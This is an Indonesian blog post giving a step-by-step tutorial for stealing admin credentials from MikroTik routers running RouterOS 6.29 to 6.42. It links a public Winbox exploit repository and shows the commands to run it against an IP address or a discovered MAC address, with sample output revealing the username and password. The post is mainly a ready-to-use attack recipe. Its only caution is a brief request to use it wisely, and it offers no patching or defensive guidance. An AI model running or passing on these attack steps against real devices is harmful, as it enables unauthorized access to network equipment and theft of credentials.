
Kalian yang mempunyai Basic Jaringan pasti mengetahui betul perangkat ini. Mikrotik adalah vendor Router dan Switch yang sangat populer, karena harganya murah dan memiliki banyak Fungsi yang berguna.

Tapi, perlu kalian ketahui, perangkat ini mempunyai bug pada versi 6.29 (release date: 2015/28/05) sampai 6.42 (release date 2018/04/20) nya. kalian bisa mendapat kan user dan password nya dengan mudah dengan cara meng Exploit perangkat ini. Berikut adalah caranya :

  • Anda harus menginstall Python 3
  • Silahkan anda download file nya di link berikut
https://github.com/BigNerd95/WinboxExploit
  • Anda bisa menggunakan Git Clone atau pun mendownload nya dan mengunzip nya seperti biasa
  • Setelah selesai anda bisa menjalankan perintah berikut
python3 WinboxExploit.py 10.10.10.1

User: admin
Pass: passwd
  • Anda juga bisa men Scan Perangkat Miktorik nya dengan Perintah
python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:aa:aa:aa:aa:aa 

    bb:bb:bb:bb:bb:bb
  • Anda juga dapat meng exploit nya melalui Mac Address nya dengan perintah berikut
python3 MACServerExploit.py aa:aa:aa:aa:aa:aa

User: admin
Pass: passwd

Mudah bukan, tolong di gunakan dengan bijak dan jangan di salah gunakan. Semoga bisa membantu anda dan terima kasih sudah berkunjung.

The post Hack Mikrotik dengan Python untuk mendapatkan User Dan Password Login appeared first on ReshaJTama.

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